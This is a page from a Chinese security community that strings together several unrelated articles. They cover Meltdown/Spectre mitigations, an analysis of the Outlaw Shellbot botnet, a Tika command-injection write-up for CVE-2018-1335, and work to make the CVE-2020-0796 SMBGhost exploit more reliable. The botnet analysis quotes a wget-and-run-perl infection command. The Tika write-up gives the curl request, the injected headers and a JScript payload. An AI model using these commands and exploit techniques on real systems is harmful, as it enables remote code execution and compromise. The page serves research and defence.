[7]。同时，Raspberry Pi平台不受所有Meltdown和Spectre漏洞的影响。
图2：典型的Meltdown攻击代码样例。>图2：典型的Meltdown攻击代码样例。
##### 3）浏览器攻击
在浏览器中，可以通过JavaScript或者WebAssembly进行攻击代码构造。但是这样的攻击面临着几个严重的限制。
首先是ASLR，V1/V2攻击需要对可执行代码的地址做精确控制，而现代浏览器都部署了地址随机化。由于BTB碰撞只依赖于虚拟地址的低bit位，所以理论上攻击者依然有机会通过大内存段堆风水操作以及多次尝试来实现攻击，但在浏览器环境下，目前尚没有高效的攻击方法出现。
已有的JavaScript
V1攻击，充分利用了同一个浏览器内部的相对地址固定的前提，完成了浏览器内部的跨站数据获取。但是对于V1攻击，要有可控的index来操纵越界读，在PoC中可以直接传输。但对于现实场景下，寻找到可用的目标脚本片段也是一个很大的挑战。
对于V3攻击，由于JavaScript引擎会检查数组越界，所以无法直接发起V3攻击。但是可以结合V1攻击，形成V3c组合攻击。但是这依然受限于ASLR。要发起有意义的攻击，需要结合其他的安全漏洞获取地址泄露信息，或者做长时间大范围的内存扫描。此外，由于JavaScript的Array
index类型长度是一个32bit整数 [11]，所以很难在64bit系统上有效的指向kernel内存区域。Web
Assembly会提供比JavaScript更合适的攻击环境，但单独的攻击实战意义依然有限。
#### 5\. 缓解方案
##### 边界检查绕过的缓解 - V1的缓解
V1攻击高度依赖于特殊的代码片段（gadget）。因此，简单有效的软件解决方案就是插入一个barrier来阻止推测运行机制在这段特殊代码里面执行。Barrier可以选用LFENCE指令。MFENCE同样可以，不过它的性能损失比LFENCE大。
图3：加入LFENCE指令在判断语句之后，防止后面的代码执行推测运行机制。>图3：加入LFENCE指令在判断语句之后，防止后面的代码执行推测运行机制。
对于Linux系统，禁用eBPF机制可以阻断现有PoC攻击，使得攻击者无法通过eBPF接口注入V1
gadget到内核空间，从而显著提升exploit的构造难度。Intel的一个分析报告
[3]指出，可以作为V1攻击的代码片段在Linux内核中很少。这样使得攻击者发起V1攻击的可行性降低。
##### 跳转目标注入攻击的缓解 - V2的缓解
对于跳转目标注入攻击，有两个可行的缓解方案。
RSB 填充 + BTB 刷新。这是一个纯软件解决方案。其核心思想就是对跳转目标的buffer,
即RSB和BTB进行清理，使得攻击者注入的跳转目标不再有效。因为RSB是一个32个槽的循环buffer，因此只需要32个虚假的call指令就可以把整个RSB清理一遍（实例代码如图4所示）。BTB的槽从1K到16K不等，而且从虚拟地址到BTB索引的映射函数f(x)还不公开，因此要清除BTB，需要首先使用逆向工程方法找到f(x)，然后根据f(x)找到1k到16K的虚拟地址来对应每个BTB的槽。最后发起1K到16K个虚假的call/jmp把所有BTB的槽清空（实例代码如图5所示）。需要指出，该方案的性能overhead很大。
图4：RSB Padding。32个虚假call来清空RSB。
图5：BTB Flushing。使用1K或16K跳转来清空BTB。
微码升级 +
系统软件（VMM/kernel)补丁.这个缓解方案需要CPU微码升级和系统软件（VMM/kernel）更新。CPU微码的升级提供了三个新的接口给系统软件：
1. Indirect Branch Restricted Speculation (IBRS)。当IBRS被设置上时，高优先级代码不会使用低优先级的跳转地址。比如VMM不会使用任何VM提供的地址，kernel也不会使用任何用户进程提供的地址。
2. Single Thread Indirect Branch Predictors (STIBP)。当STIBP被设置上时，同一物理CPU上的两个HyperThreading逻辑内核直接的跳转地址不再共享。
3. Indirect Branch Predictor Barrier (IBPB)。当IBPB被设置时，之前的跳转地址不会影响之后的跳转预测。这个功能一般用于从高优先级到低优先级切换上下文的时候。比如VMM回到VM或kernel回到用户空间。
这三个功能是否支持可以用CPUID加ax=0x7来检测。返回结果中rdx的第26位表明这三个新功能是否支持。对系统软件（VMM/kernel）的更新，各个操作系统已经发布了相关的补丁。
如果无法得到微码升级，可以考虑使用Retpoline指令替换技术 [10] 进行防御，替换掉容易被V2攻击的间接跳转和间接调用指令。
此外，类似于V1，Linux下关闭eBPF也可以有效的提升V2攻击的难度。
##### Meltdown攻击的缓解措施 - V3的缓解
抵御Meltdown攻击最有效的方式就是KAISER/KPTI。KAISER/KPTI方案中要求操作系统维护两个页表，一个页表给用户程序使用，一个给kernel自己使用。并且确保程序所使用的页表不会映射高优先级的页面，即不会映射kernel的页面。KAISER/KPTI方案最早提出时是为了侧信道攻击对内核地址随机化（KASLR）的影响。该方案恰巧也可以用来抵御Meltdown攻击。
两个页表的切换，会导致CR3的重新加载，从而引起TLB刷新，进而降低内存的访问速度。如果某些应用场景需要大量的内核和用户空间切换（两个页表之间的切换），会造成较高的性能开销。为了降低这些性能开销，kernel需要使用充分的利用PCID特性，把TLB的刷新降低。
#### 6\. 结语
本文对Meltdown和Spectre攻击及其缓解措施进行了总结。一方面，由于防护措施都是有成本的，本文给防护方提供一个指南，可以根据自己的场景来选择必要的防护措施；另一方面，我们希望通过本文，缓解目前媒体上夸大的恐慌情绪，但本文也同时指出了一些没有被讨论过的组合攻击方式，这些攻击有比标准攻击更加可怕的威力。因此防护方不能掉以轻心，需要尽快部署相关防护措施。我们仍在研究这两种攻击和其他缓解措施，会在后面陆续发布最新进展。
#### 参考资料
1. AMD. An update on amd processor security. 2018.
2. Douglas Busvine and Stephen Nellis. Security aws put virtually all phones, computers at risk. 2018.
3. Intel. Intel analysis of speculative execution side channels. 2018.
4. Lipp Moritz, Michaelm Schwarz, Gruss Daniel, Prescher Thomas, Haas Werner, Mangard Stefan, Kocher Paul, Genkin Daniel, and Hamburg Yuval, Yarom Mike. Meltdown. 2017.
5. Kocher1 Paul, Genkin Daniel, Gruss Daniel, Haas Werner, Hamburg Mike, Lipp Moritz, Mangard Stefan, Prescher Thomas, Schwarz Michael, and Yarom Yuval. Spectre attacks: Exploiting speculative execution. 2017.
6. Raspberrypi. Why raspberry pi isn’t vulnerable to spec- 7. tre or meltdown. <https://www.raspberrypi.org/blog/why-raspberry-pi-isnt-vulnerable-to-spectre-or-meltdown/>
8. Wikipedia. Meltdown (security vulnerability). 2018.
9. Wikipedia. Spectre (security vulnerability). 2018.
10. Retpoline: a software construct for preventing branch-target-injection. <https://support.google.com/faqs/answer/7625886>
11. Standard ECMA-262, ECMAScript® 2017 Language Specification, <https://www.ecma-international.org/ecma-262/8.0/index.html#sec-array-exotic-objects>
#### 致谢
感谢腾御安Shawn提出的宝贵意见和建议。
* * * | 社区文章 |
近期，研究人员发现一个黑客组织的攻击活动Outlaw，源于其使用的攻击工具haiduc（罗马尼亚语）的英文翻译。Outlaw使用了基于Perl
Shellbot构建的IRC
bot。该组织利用了一个物联网设备和Linux服务器上常见的注入漏洞来进行传播。深入研究发现该威胁影响Windows环境和Android设备。
攻击者在最近的一次攻击活动中入侵了一个日本艺术机构的FTP服务器和孟加拉国政府的有漏洞的Dovecot邮件服务器网站。然后用这两个被入侵的服务器，将其链接到一个高可用的簇来作为IRC
bouncer，用做新出现的僵尸网络的C2。
研究人员除了发现攻击者在第一个服务器上的初始漏洞外，还找到了进行DoS和SHH暴力破解攻击的黑客工具集的配置文件——`class
files`。这说明攻击者构建了一个可用于网络犯罪的僵尸网络。
研究人员的蜜罐系统发现了该攻击活动的许多踪迹，下面是捕获的源和注入的命令：
表1. 识别出的命令
**注** ：
Source表示尝试注入命令的源IP地址
Command表示蜜罐拦截到的命令
研究人员检测到的受感染的国家有：
* 中国台湾
* 日本
* 美国
* 印度
* 大不列颠联合王国
* 以色列
* 科威特
* 巴西
* 哥伦比亚
* 德国
* 瑞士
* 泰国
* 保加利亚
* 希腊
* 意大利
* 马来西亚
该僵尸网络本身就是基于一个用Perl脚本语言编写的Shellbot变种。该僵尸网络之前是通过利用Shellshock漏洞进行传播的，因此命名为`Shellbot`。这次，攻击者主要是通过之前的暴力破解或者入侵主机来进行传播。
为了进一步分析威胁行为，研究人员使用了如下配置的蜜罐主机：
* Host #1: Ubuntu 16.04主机，开启了Splunk forwarder
* Host #2: 安装了Dovecot 邮件服务器的Ubuntu 16.04服务器
* Host #3: 运行Android 7的安卓设备
然后监控C2流量并获取了IRC信道信息。首次感染后，IRC信道中就有142个主机。
# 如何感染系统
首先在IoT设备或服务器上运行一个命令。比如命令`uname -a;cd /tmp;wget
hxxp://54[.]37[.]72[.]170/n3;perl n3;rm -rf n3*`就是用`uname
-a`来验证主机从命令行接口接收的命令。命令成功执行后，工作目录就会修改为`/tmp`。然后用perl翻译器运行下载的payload
`n3`文件。最后一步是移除`n3`文件，这样就在被攻击的系统中找不到活动痕迹了。
图1. Payload n3文件
僵尸主机安装后，就开始通过IRC与C2服务器通信。
图2. 僵尸主机以`/usr/sbin/httpd`运行
图3. 到C2服务器`luci[.]madweb[.]ro`的出流量
到C2的连接尝试在感染后就出现了，并且是持续的。如果连接断开，就重新连接。这一阶段，重启受感染的机器并不会对系统做出的变化有任何影响。
为了更好地理解C2通信的动态性，研究人员获取了受感染主机的流量。重构的TCP流显示下载了恶意文件，以及之后的C2服务器的通信。
# 获取的网络流量
从受感染的主机和C2服务器中获取的TCP流中可以看出下载和运行了`n3`文件。
图4. 受感染的主机和C2服务器之间的网络流量的TCP流
图5. 感染后的TCP通信流
感染后，通信流量说明恶意软件会加入僵尸主机的IRC信道，并分配给昵称和服务器配置信息。修改DNS设置能够确认有真实的攻击目标参与其中。同时还有处理器核数和处理器的类型。同时通过命令`cat
/etc/passwd/`泄露了主机上运行着`Splunk`，这是为了通过管理员目标设备正在被监控或安装了反病毒软件。
然后用`PING/PONG`通信来保持通信信道开启。IRC服务器会发送PING消息，需要PONG消息响应来预防连接断开。
图6. 单独的消息会发送给IRC管理员
运行后会分配一个硬编码的进程名`Shellbot`。这可以帮助隐藏运行的僵尸主机，以防被系统管理员、安全监控和研究人员发现。
图7. Shellbot配置文件
Shellbot在目标系统上运行后，IRC信道的管理员会发送不同的命令给被感染的主机。列表中含有执行端口扫描、DDOS、文件下载、信息获取、发送操作系统信息和运行进程列表的命令。
# IRC命令可以调用的脚本函数
图8. 含有可用命令列表的`script header`
IRC相关的函数使用了`join, part, uejoin, op, deop, voice, devoice, nick, msg, quit,
uaw, die`等。DDOS相关的活动会影响`UDP/TCP/HTTP`流量。
如果触发了端口扫描，僵尸主机会扫描以下端口：
表3. 僵尸主机扫描的端口
# 网络通信样本
网络通信看似是XMR rig挖矿监控工具的输出。
工具的代码为:
root@ubuntu:~$ cat speed.sh
i=1
result=`docker ps -q | wc -l`
while [ “$i” -le “$result” ]
do
echo “miner numa $i speed”
docker logs minernuma$i | tail -8 | grep speed >> /tmp/minernuma$i.tmp
tail -1 /tmp/minernuma$i.tmp
rm /tmp/minernuma$i.tmp
i=$(($i + 1))
done
# 重构的TCP流
受感染的主机会被分配一个昵称，格式为`sEx`加随机生成的数字。本例中主机的昵称为`sEx-3635`。
图9. 含有主机昵称的TCP流
所有受感染的主机以`PING/PONG`流量格式显示了基本的C2连接，也提供了系统中运行IRC僵尸主机的用户`sd-pam`进程的可疑的类crontab记录、进程id等。
下面是主机的信息交换，可能是僵尸主机的新加入者或另一个目标。本例子中受感染的主机是：
图10. 主机信息交换TCP流
图11. 与被入侵的服务器相关联的身份
在流量监控期间，IRC通信信道中出现了`luci, lucian, dragos, mazy, hydra, poseidon`等许多身份。
研究人员发现这些身份是被入侵的日本服务器的用户名。该服务器好像非常重要，因为用来传播早期的N3-Shellbot。`Dropper
n3`文件的传播主要是在第二个C2服务器上完成的。与该服务器的通信如下图：
图12. Dragos SSH login
使用注入蜜罐系统的命令中的凭证，研究人员成功下载了攻击者使用的文件。文件的内容会在服务器上修改。从时间上看，主要发生在中欧时间的白天，而且是工作日。从未在晚上和周末出现过攻击活动。
# 预防
Outlaw组织在攻击活动中使用了IRC僵尸主机。这并不是一种新的威胁，因为代码在网上是公开的，所有可以用来构建一个这样的僵尸主机。其中的一个攻击活动中，目标主要是大公司，因此采用一些安全措施来预防这种潜在的攻击是非常必要的：
* 合理设置SSH登陆进程。不要将其公开，除非对公司的基础设施非常必要。许多网络设备都是默认用默认凭证来运行SSH服务的，交换机、防火墙这样的网络基础设施正是这样的。
* 监控CLI使用的命令。
* 监控端口53上的非DNS流量。
* 检测新账户的创建，定期确认所有创建的账户都只用作工作。
* 尽可能限制FTP的使用。不仅明文传输密码，还可以在本地系统中加载利用文件。除非新创建的文件在系统中预设的位置，否则都要认为文件是可疑的。
* 重新考虑使用Dovecot邮件服务器，因为已经发现存在缓冲区溢出漏洞了。
<https://blog.trendmicro.com/trendlabs-security-intelligence/perl-based-shellbot-looks-to-target-organizations-via-cc/> | 社区文章 |
# 探究利用CVE-2018-1335：Apache Tika 命令注入
##### 译文声明
本文是翻译文章，文章原作者 rhinosecuritylabs，文章来源：rhinosecuritylabs.com
原文地址：<https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
本文将介绍从一个未公开披露详情的CVE——Apache tika-server
命令注入漏洞到实现攻击的一系列步骤。此CVE编号为[CVE-2018-1335](https://nvd.nist.gov/vuln/detail/CVE-2018-1335)。由于Apache
Tika是开源项目，我能够通过CVE介绍和分析Apache
Tika代码实际情况来获取一些基本信息。虽然一个命令注入漏洞通常是简单明了的，但是在本文你将看到要实现完整的代码执行或命令注入仍需克服一些障碍。这是Java执行系统命令的方法以及Apahce
Tika代码自身的特性导致的。最后，仍然可以通过Windows Script Host ( **Cscript.exe** )来绕过这些限制。
## 二、Apahce Tika简介
> Apache Tika™
> 工具集可以检测和提取上千种不同文件类型（比如PPT,XLS,PDF等）中的元数据和文本。所有的这些类型文件都可以通过一个单独的接口实现解析，这使Tika对搜索引擎的索引，目录分析和翻译等很有帮助。(<https://tika.apache.org/>)
Apache Tika由几个不同的组件组成：一个Java库，命令行工具和一个有自己的REST API的独立服务器（ _tika server_
）。为了详细了解此独立服务器，可以阅读公开的REST
API([https://wiki.apache.org/tika/TikaJAXRS)来开发此漏洞。存在漏洞的Tika版本可以在这里下载：https://archive.apache.org/dist/tika/tika-server-1.17.jar](https://wiki.apache.org/tika/TikaJAXRS\)%E6%9D%A5%E5%BC%80%E5%8F%91%E6%AD%A4%E6%BC%8F%E6%B4%9E%E3%80%82%E5%AD%98%E5%9C%A8%E6%BC%8F%E6%B4%9E%E7%9A%84Tika%E7%89%88%E6%9C%AC%E5%8F%AF%E4%BB%A5%E5%9C%A8%E8%BF%99%E9%87%8C%E4%B8%8B%E8%BD%BD%EF%BC%9Ahttps://archive.apache.org/dist/tika/tika-server-1.17.jar)
## 三、解读CVE
开始寻找问题之前，我们首先得阅读CVE公告，看看是否有一些信息可以将我们带到研究的起始点。
原始公告描述如下:
> 在Tika1.18 之前，用户可以发送精心构造的标头至 _tika-server_ ，这些标头能够用来注入一些命令到运行 _tika-server_
> 的服务器的命令行中。此漏洞只影响向不受信用户开放并且运行 _tika-server_ 的服务器。
我们可以从中得到以下信息：
* 1.18版本已修复
* 1.17版本未修复
* 漏洞为命令注入
* 漏洞入口点为标头
* 此漏洞由 _tika-server_ 部分代码造成
有了这些信息，现在我们就有了一个起始点来尝试研究此漏洞。首先我将展示Tikaz已修复和未修复版本的一些信息，尤其是 _tika-server_
部分。然后，使用Java的某些函数代码来实现执行操作系统命令也是一个精彩的部分。最后，我们先假设存在某种HTTP请求，然后查找 _tika-server_
代码中与请求标头有关的部分。
## 四、深入研究
### 漏洞验证
对tika-server 1.1.7和1.1.8版本的源代码目录执行并行递归`diff`处理，一次只返回一个发生修改的文件。下面是较为关键的一次修改：
由于要找的命令注入漏洞出现在标头部分，而我们的第一个发现在是补丁版本中添加了名为`allowable_header_chars`的代码块，所以这是一个完美的起点。当然，这些代码可能是用来过滤在标头处用于命令注入的字符。
继续往下翻阅是一个庞大的代码块，其中包含一个有趣的的函数`processHeaderConfig`，该函数在1.1.8版本中已被移除修改。它使用某些变量来动态地创建一个方法，该方法设置一些对象的特性并使用HTTP标头执行。
这里是对该函数的描述：
上图展示了不同特性的前缀，并且在代码的起始位置被定义为静态字符串。
因此，我们有一组在请求中能作为HTTP标头的静态字符串，它们通常是用来设置对象的某个特性。对于最后的标头，它似乎是`X-Tika-OCRsomeproperty:
somevalue`形式的，然后`somevalue`转换为类似于`setSomeproperty()`的函数，该函数将被调用并且等于`someValue`初始值。
这里你可以看到这个函数被使用，并且在此请求中会检查标头前缀以确认调用此函数的方式。所需的参数将从这个HTTP请求传入`processHeaderConfig`函数。
查看`processHeaderConfig`的使用方式，可以看到特性是被设置在`TesseractOCRConfig`对象。经过搜寻可能用到对象`TesseractOCRConfig`的位置，我们发现了一个非常有趣的地方：
_tika-parsers/src/main/java/org/apache/tika/parser/ocr/TesseractOCRParser.java_ 。
_TesseractOCRParser.java_
存在函数`doOCR`，该函数从我们刚发现的`TesseractOCRConfig`对象传递配置特性给一个字符串数组，此数组为
**ProcessBuilde** 组建一个命令，然后程序开始运转。
似乎我们快要达成目标了——如果把目前发现的所有信息结合起来，理论上讲我们可以发送一些标头为`X-Tika-OCRTesseractPath: <some
command>`的HTTP请求给服务器，然后这个命令被插入到`cmd`字符并执行。但是，目前唯一的问题是`config.getTesseractPath()`已经被预定给另一个我们无法控制的字符，而`getTesseractProg()`最终变为一个静态字符，`tesseract.exe`。为了解决这个问题，我们尝试把要执行的命令用双引号包裹，但是Windows忽略引号后面的任何附加内容并且只会执行前面的部分。
为了进一步测试，我们先看看 _tika-server_ 文档中关于提取某个文件元数据的说明。
因为OCR全名为Optical Character
Recognition（光学字符识别），用于提取出图像中的文本和内容信息。这里，我将上传图像文件而不是docx，希望它能与`doOCR`函数交互。
组合起来命令为：
curl -T test.tiff http://localhost:9998/meta --header "X-Tika-OCRTesseractPath: "calc.exe""
OK，我们做到了——在上传时使用PUT方式发送请求，该请求中HTTP标头`X-Tika-OCRTesseractPath`后端命令用双引号包裹，并且该命令被成功执行。
### 除了弹出计算器，还能做些别的？
现在，我们只能直接改变应用名称来实现命令执行。这是由于此命令被作为一个数组被传递给Java`ProcessBuilder`，而我们实际上无法运行超过一条命令或者给命令添加一些参数作为单独的字符，否则将无法执行。这是因为在Java中传递一个字符串数组到进
**ProcessBuilder** 或者`runtime.exec`是遵循以下方式：
像`&,<,>,|,` 这一类字符，可以在`cmd.exe`和`/bin/sh`中正常解析，但是 **ProcessBuilder**
不可以并且会忽略掉，所以你不能扩展命令或者参数。使用`X-Tika-OCRTesseractPath: “cmd.exe /c some
args`这样简单的命令或者其他的组合无法实现绕过（组合命令）。
让我们回顾`cmd`数组的构建过程，你可以看到我们也可以控制此命令中的多个参数，每个参数都是`config.get*()`这样的形式，但是它们又被其他我们无法控制的子部件控制。
我第一个思路是运行`cmd.exe`，然后把参数 _/C_
换做`config.getLanguage()`，再插入命令代码到`config.getPageSegMode()`并执行。但是并不如意，这没有成功，因为在`doOCR`函数调用之前，名为`config.getTesseractPath()`的字符已经调用了另一个函数（我们修改后的命令）并且只会执行该命令（为了验证正在调用的应用是否有效）。这里的问题是它只会运行`cmd.exe`（不包括后续参数）从而导致服务器暂时挂起，因为`cmd.exe`不会结束，所以后续的`doOCR`函数不会执行。
### 解决方案
在实现运行多个命令之前，让我们使用[Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)（一款Windows进程监视器）来看看当`doCOR`函数开启进程时内部发生了什么。
_tika-server_ 开启后查看此进程属性，以下命令是注入命令构造的结果：
"calc.exe"tesseract.exe C:UsersTestAppDataLocalTempapache-tika-3299124493942985299.tmp C:UsersTestAppDataLocalTempapache-tika-7317860646082338953.tmp -l eng -psm 1 txt -c preserve_interword_spaces=0
在命令行中，我们能够控制的有三部分`"calc.exe"`，`3299124493942985299.tmp`和`7317860646082338953.tmp`。这三个地方我们可以注入一些东西，包括一个命令和两个参数。我们发现了其他有趣的事，Tika的确会创建两个temp文件，但是只有一个是作为第一个参数被传递。
经过进一步调查，我可以确认能够传递命令的第一个temp文件的内容等于我上传的文件。因此，我应该可以使用某些代码或者命令填充该上传文件，并且发生执行。
那么现在，我需要一个Windows本地程序，该程序可以忽略掉 _tika-server_
创建的一些离散的参数，并且即使文件后缀为.tmp也可以把它的文件内容当作某个代码或者命令来执行。要想找到这类程序听起来似乎不太可能。但是当我看过了
_<https://github.com/api0cradle/LOLBAS>_
中的LOLBins部分后，我觉得我的运气来了，我遇到了[Cscript.exe](https://github.com/api0cradle/LOLBAS/blob/master/OSBinaries/Cscript.md)，该程序似乎有点希望。让我们来看看Cscript
能做些什么吧。
Cscript证明了它就是我们所需的（程序）。它将第一个参数视为脚本，允许你使用`//E:engine`标识来指定你要用的脚本引擎（可能是Jscript或者VBS），所以我们不需要考虑文件类型了。放入新命令到cscript中，查看结果：
"cscript.exe"tesseract.exe C:UsersTestAppDataLocalTempapache-tika-3299124493942985299.tmp C:UsersTestAppDataLocalTempapache-tika-7317860646082338953.tmp -l //E:Jscript -psm 1 txt -c preserve_interword_spaces=0
通过HTTP标头可以设置：
X-Tika-OCRTesseractPath: "cscript.exe"
X-Tika-OCRLanguage: //E:Jscript
上传一个“图片”文件，其中包含一些Jscript或者VBS代码：
var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c calc.exe');
刚开始上传图像文件时失败了，因为它不是一个有效的图像，其中的特定字节无法被验证。我想到了解决方法，我把`content-type`设置为`image/jp2`，这样图像文件能够绕过Tika的检测然后交由OCR处理。然后，我们就可以成功上传包含Jscript的图像了。
最后，我们把所有有东西结合起来，获得了一个完整的任意命令/jscrpit/vbs代码执行。
## 五、小结
看起来简单的一个命令注入漏洞，要真正地实现利用仍需克服大量困难。寻找越过阻碍的方案过程其实非常有趣。尽管该过程非常困难，但仍然有办法，这再次提醒了（开发者）在构造操作系统命令时千万不能相信用户的输入。Apache官方不建议使用者在不安全环境下运行
_Tika-server_ ，并且暴露给不受信的用户。本文所述漏洞已经修复，现在最新的版本为1.20，如果你仍在使用该服务请立即更新！
Rhino安全实验室已公布该CVE的POC文件：<https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2018-1335> | 社区文章 |
# CVE-2020-0796漏洞realworld场景实现改进说明
##### 译文声明
本文是翻译文章，文章原作者 noahblog，文章来源：noahblog.360.cn
原文地址：<http://noahblog.360.cn/cve-2020-0796_improvement/>
译文仅供参考，具体内容表达以及含义原文为准。
在此前跟进CVE-2020-0796的过程中，我们发现公开代码的利用稳定性比较差，经常出现蓝屏的情况，通过研究，本文分享了CVE-2020-0796漏洞实现在realworld使用过程中遇到的一些问题以及相应的解决方法。
## Takeaways
* 我们分析了exp导致系统蓝屏的原因，并尝试对其进行了改进；
* 相对于重构前exp，重构后的exp执行效率与稳定性都有显著提高；
* 关于漏洞原理阐述，Ricerca Security在2020年4月份发布的一篇[blog](https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html)中已非常清晰，有兴趣的读者可以移步阅读，本文不再赘述。
## 初步选择和测试公开exp可用性
测试环境：VMWare，Win10专业版1903，2G内存，2处理核心
为了测试和说明方便，我们可以将exp的执行分为3个阶段：
1. 漏洞利用到内核shellcode代码开始执行
2. 内核shellcode代码执行
3. 用户层shellcode执行
根据实际情况，我们测试了[chompie1337](https://github.com/chompie1337/SMBGhost_RCE_PoC)和[ZecOps](https://github.com/ZecOps/CVE-2020-0796-RCE-POC)的漏洞利用代码。根据各自项目的说明文档，两份代码初步情况如下：
* ZecOps
ZecOps的利用代码是在单个处理器的目标计算机系统上测试的；在后续的实际测试中，发现其代码对多处理器系统的支持不足，虽然在测试环境中进行了多次测试中，系统不会产生BSOD，但漏洞无法成功利用（即exp执行第一阶段失败）。
* chompie1337
chompie1337的代码在漏洞利用阶段则表现得十分稳定，但在内核shellcode执行时会造成系统崩溃。
因此，我们决定将chompie1337的利用代码作为主要测试对象。
## 内核shellcode问题定位
我们在win10
1903中测试了chompie1337的exp代码，绝大部分的崩溃原因是在漏洞利用成功后、内核shellcode代码执行（即exp执行的第二阶段）时，申请用户空间内存的API
zwAllocateVirtualMemory调用失败。在我们的多次测试中，崩溃现场主要包括以下两种：
Crash_A backtraceCrash_B backtrace
对比exp正常执行时的流程和崩溃现场，我们发现无论是哪种崩溃现场，根本原因都是在内核态申请用户态内存时，调用MiFastLockLeafPageTable时（crash_A是在MiMakeHyperRangeAccessible中调用MiFastLockLeafPageTable，crash_B在MiGetNextPageTable中调用MiFastLockLeafPageTable）函数内部出现错误，导致系统崩溃。
在遇到crash_B时，我们起初认为这是在内核态申请用户态读写权限内存时，系统复制CFG Bitmap出现的异常。CFG（Control Flow
Guard，控制流防护）会检查内存申请等关键API调用者是否有效，以避免出现安全问题。
随后，我们尝试了一些CFG绕过的方法，包括替换内存申请API间接调用地址，强制修改进程CFG启动标志等，这些方法无一例外都失败了。但在尝试过程中，ZecOps在他的漏洞分析利用文章中提到的一篇文章给了我们启发。zerosum0x0[这篇文章](https://zerosum0x0.blogspot.com/2019/11/fixing-remote-windows-kernel-payloads-meltdown.html)分析了cve-2019-0708漏洞内核shellcode不能稳定利用的原因，其中提到了微软针对Intel
CPU漏洞的缓解措施，KVA Shadow。
我们再次详细分析了导致MiFastLockLeafPageTable调用失败的原因，发现MiFastLockLeafPageTable函数中的分页表地址（即下图中的v12）可能会无效。
我们根据KVA Shadow缓解措施原理，猜测这是本次测试exp崩溃的根本原因。内核shellcode在调用API申请用户层内存时，由于KVA
Shadow对于用户层和内核层的系统服务调用陷阱，如果IRQL等级不是PASSIVE_LEVEL，无法获取到正确的用户层映射地址。
## 解决问题
通过参考zerosum0x0文章中修正CVE-2019-0708 payload来绕过KVA
Shadow的代码，但出于时间以及系统稳定性等多方面因素，我们暂时放弃了这种方法，转而尝试通过一种更简单和容易的方式来解决这个问题。
显而易见地，如果我们能够在内核shellcode中降低系统调用中的IRQL，将其调整为PASSIVE_LEVEL，就能够解决后续shellcode执行时由于用户态内存分配出现崩溃的问题。但在公开资料的查找过程中，我们并没有找到针对win10系统的IRQL修改方法。
于是，我们从崩溃本身出发，试图对这种情况进行改进。由于内核shellcode是从DISPATCH_LEVEL的IRQL开始执行的，调用内存分配等API时，可能因为分页内存的异常访问导致崩溃，于是我们尝试避免系统访问可能崩溃的分页内存。
在重新比对分析crash_B和成功执行的利用代码时，我们发现MiCommitVadCfgBits函数中会检查进程的CFG禁用标志是否开启（下图中的MiIsProcessCfgEnabled函数）。如果能够跳过CFG的处理机制，那么就可以避免系统在内存申请过程中处理CFG位图时对可能存在问题的分页内存的访问。
进一步对MiIsProcessCfgEnabled进行分析，该标志位在进程TEB中，可以通过GS寄存器访问和修改。
我们在内核shellcode调用zwAllocateVirtualMemory
API之前修改CFG标志，就可以避免大部分崩溃情况（即B类型），顺利完成用户态内存的分配。需要一提的是，win10在内存申请时，大部分系统处理过程都是针对CFG的相关处理，导致B类型崩溃产生的次数在实际测试中占比达80%以上，所以我们没有考虑A类型崩溃的情况。
> 参考Google Researcher Bruce
> Dawson[有关windows创建进程性能分析的文章](https://randomascii.wordpress.com/2019/04/21/on2-in-> createprocess/)<O(n^2) in CreateProcess>
## 实际修改shellcode遇到的问题
在修改CFG标志位解决大部分内核shellcode崩溃的问题后，我们在实际测试中又发现，该exp无法执行用户层shellcode（即exp执行第三阶段）。经过分析发现，这是由于用户层shellcode会被用户层CFG检查机制阻断（参考：<https://ricercasecurity.blogspot.com/2020/04/ill-ask-your-body-smbghost-pre-auth-rce.html>）。CFG阻断可以分为两种情况：一是对用户层APC起始地址代码的调用；二是用户层shellcode中对创建线程API的调用。下图的代码就是针对第二种情况的阻断机制：只有当线程地址通过CFG检查时，才会跳转到指定的shellcode执行。
这里我们采用了zerosum0x0文章中的方式：在内核shellcode中，patch
CFG检查函数（ldrpvalidateusercalltarget和ldrpdispatchusercalltarget），跳过CFG检查过程来达到目的。需要注意的是，在内核态修改用户态代码前，要修改cr0寄存器来关闭代码读写保护。
另外，在patch CFG检查函数时，使用相对偏移查找相应的函数地址。由于CVE-2020-0796只影响win10
1903和1909版本，因此这种方法是可行的。但如果是其他更通用的漏洞，还需要考虑一种更加合理的方式来寻找函数地址。
## 最终测试
我们在win10 1903（专业版/企业版）和win10
1909（专业版/企业版）中测试了代码。经过测试，修改后的exp代码执行成功率从不到20%上升到了80%以上。但我们的修改仍然是不完美的：
1. 本文并没有解决漏洞利用阶段可能出现的问题。尽管chompie1337的漏洞利用阶段代码已经非常完善，但仍不是100%成功。考虑到漏洞利用阶段出现崩溃的概率非常低（在我们的实际测试中，出现概率低于10%），如果系统处于流畅运行，这种概率会更小，我们的exp仍然使用了chompie1337在漏洞利用阶段的代码。
2. 在本文中，我们尝试解决了由CFG处理机制导致的崩溃情形（即类型B的情况），没有从根本上解决内核shellcode执行阶段的崩溃。在这个阶段，shellcode仍然可能导致系统崩溃出现蓝屏，但这种概率比较低，在我们的测试中没有超过20%。
3. 在使用本文的方式成功执行用户态shellcode之后，系统处于一种不稳定状态。如果系统中有其他重要进程频繁进行API调用，系统大概率会崩溃；如果仅通过反弹的后台shell执行命令，系统会处在一种相对稳定的状态。我们认为，对渗透测试来说，改进后的exp已经基本能够满足需求。
## 其他方案
除本文讨论的内容外，还可以通过内核shellcode直接写文件到启动项的方式来执行用户态代码。从理论上讲，这种方式能够避免内核shellcode在申请用户层内存时产生崩溃的问题，但对于渗透测试场景而言，该方法需要等待目标重启主机，实时性并不高，本文不在此进行具体讨论。
## 总结
针对网络公开的CVE-2020-0796
exp在实际使用过程中会产生崩溃的问题，本文分享了一些方法来解决这些问题，以便满足实际在渗透测试等应用场景中的需求。尽管本文的方法不尽完美，但我们希望我们的研究工作能够为诸位安全同僚提供一些思路。我们也会在后续的工作当中，持续对此进行研究，力图找到一种更简单、通用的方式解决问题。 | 社区文章 |
**Author: w7ay@Knownsec 404 Team
Chinese version: <https://paper.seebug.org/913/>
Related reading: [How to build your own PoC framework - the use of
